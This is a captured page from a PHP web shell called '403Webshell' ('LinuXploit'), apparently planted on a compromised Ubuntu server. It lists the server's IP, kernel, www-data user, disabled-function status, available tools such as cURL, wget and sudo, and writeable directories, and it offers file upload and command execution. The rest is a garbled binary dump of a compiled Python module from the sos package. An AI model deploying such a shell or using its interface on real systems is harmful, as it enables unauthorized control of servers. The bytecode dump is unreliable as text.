403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/sos/policies/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/policies/distros/__pycache__/cos.cpython-312.pyc
�

i��d��<�ddlmZmZddlmZd�ZGd�de�Zy)�)�	CosPlugin�IndependentPlugin)�LinuxPolicyc�f�|j�xs|j�jd�S)aHTest whether line is empty of contains a comment.

        Test whether the ``line`` argument is either blank, or a
        whole-line comment.

        :param line: the line of text to be checked.
        :returns: ``True`` if the line is blank or a comment,
                  and ``False`` otherwise.
        :rtype: bool
    �#)�strip�lstrip�
startswith)�lines �:/usr/lib/python3/dist-packages/sos/policies/distros/cos.py�_blank_or_commentr
s)���z�z�|��<�t�{�{�}�7�7��<�<�c�P��eZdZdZdZdgZeegZdZ			d�fd�	Z
edd��Z�xZ
S)	�	CosPolicyzContainer-Optimized OSzGoogle Cloud Platform)zDistribution Websitez0https://cloud.google.com/container-optimized-os/z</usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbinc�h��tt|�||||��|xjtgz
c_y)N)�sysroot�init�
probe_runtime�remote_exec)�superr�__init__�valid_subclasses)�selfrrrr�	__class__s     �rrzCosPolicy.__init__'s7���
�i��'��d�6C�4?�	(�	A�	
���)��,�rc���|r|j|vS	tdd�5}td�|D��}|ddk(cddd�S#1swYyxYw#ttf$rYywxYw)Nz/etc/os-release�rc3�pK�|].}t|�s!|j�jd����0y�w)�=N)r
r�split)�.0rs  r�	<genexpr>z"CosPolicy.check.<locals>.<genexpr>5s2����"B�d�):�4�)@�#'�*�*�,�"4�"4�S�"9�"B�s�46�ID�cosF)�distro�open�dict�IOError�KeyError)�cls�remote�fp�
os_releases    r�checkzCosPolicy.check.sy����:�:��'�'�	��'��-�
1��!�"B�b�"B�B�
�!�$�'�5�0�
1�
1�
1����"�	��	�s-�A�A�	A�A�A�A�A �A )NNTN)�)�__name__�
__module__�__qualname__r$�vendor�vendor_urlsrrr�PATHr�classmethodr-�
__classcell__)rs@rrrsK���
%�F�
$�F�	=��K�"�#4�5��I�D�>B�!�-��
��
rrN)�sos.report.pluginsrr�sos.policies.distrosrr
r�rr�<module>r:s��<�,�=���r

Youez - 2016 - github.com/yon3zu
LinuXploit